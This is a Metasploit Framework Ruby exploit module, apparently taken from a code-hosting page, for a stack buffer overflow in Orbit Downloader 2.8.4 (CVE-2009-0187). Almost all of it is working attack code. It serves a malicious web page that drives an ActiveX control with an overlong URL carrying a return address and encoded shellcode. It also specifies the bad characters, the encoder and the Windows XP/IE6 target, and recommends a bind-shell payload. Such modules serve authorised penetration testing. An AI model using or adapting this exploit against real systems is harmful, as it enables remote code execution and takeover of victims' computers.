95 lines
2.4 KiB
Ruby
95 lines
2.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Orbit Downloader Connecting Log Creation Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Orbit Downloader 2.8.4. When an
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attacker serves up a malicious web site, abritrary code may be executed.
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The PAYLOAD windows/shell_bind_tcp works best.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'References' =>
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[
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[ 'CVE', '2009-0187' ],
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[ 'OSVDB', '52294' ],
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[ 'BID', '33894' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00\x09\x0a\x0d'\\&",
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'StackAdjustment' => -3500,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / IE 6.0 SP0-SP2', { 'Ret' => 0x1008dee3 } ], # download.dll 2.7.0.6
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],
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'DisclosureDate' => 'Feb 3 2009',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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# Set the exploit buffer
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sploit = "http://" + rand_text_alpha(508) + [target.ret].pack('V') + p.encoded + ".com"
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# Build out the message
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content = %Q|<html>
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<object classid='clsid:3F1D494B-0CEF-4468-96C9-386E2E4DEC90' id='#{vname}'></object>
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<script language='javascript'>
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var #{vname} = document.getElementById('#{vname}');
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var #{strname} = new String('#{sploit}');
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#{vname}.download(#{strname}, #{vname}, #{vname}, #{vname}, 1);
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</script>
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</html>
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content = Rex::Text.randomize_space(content)
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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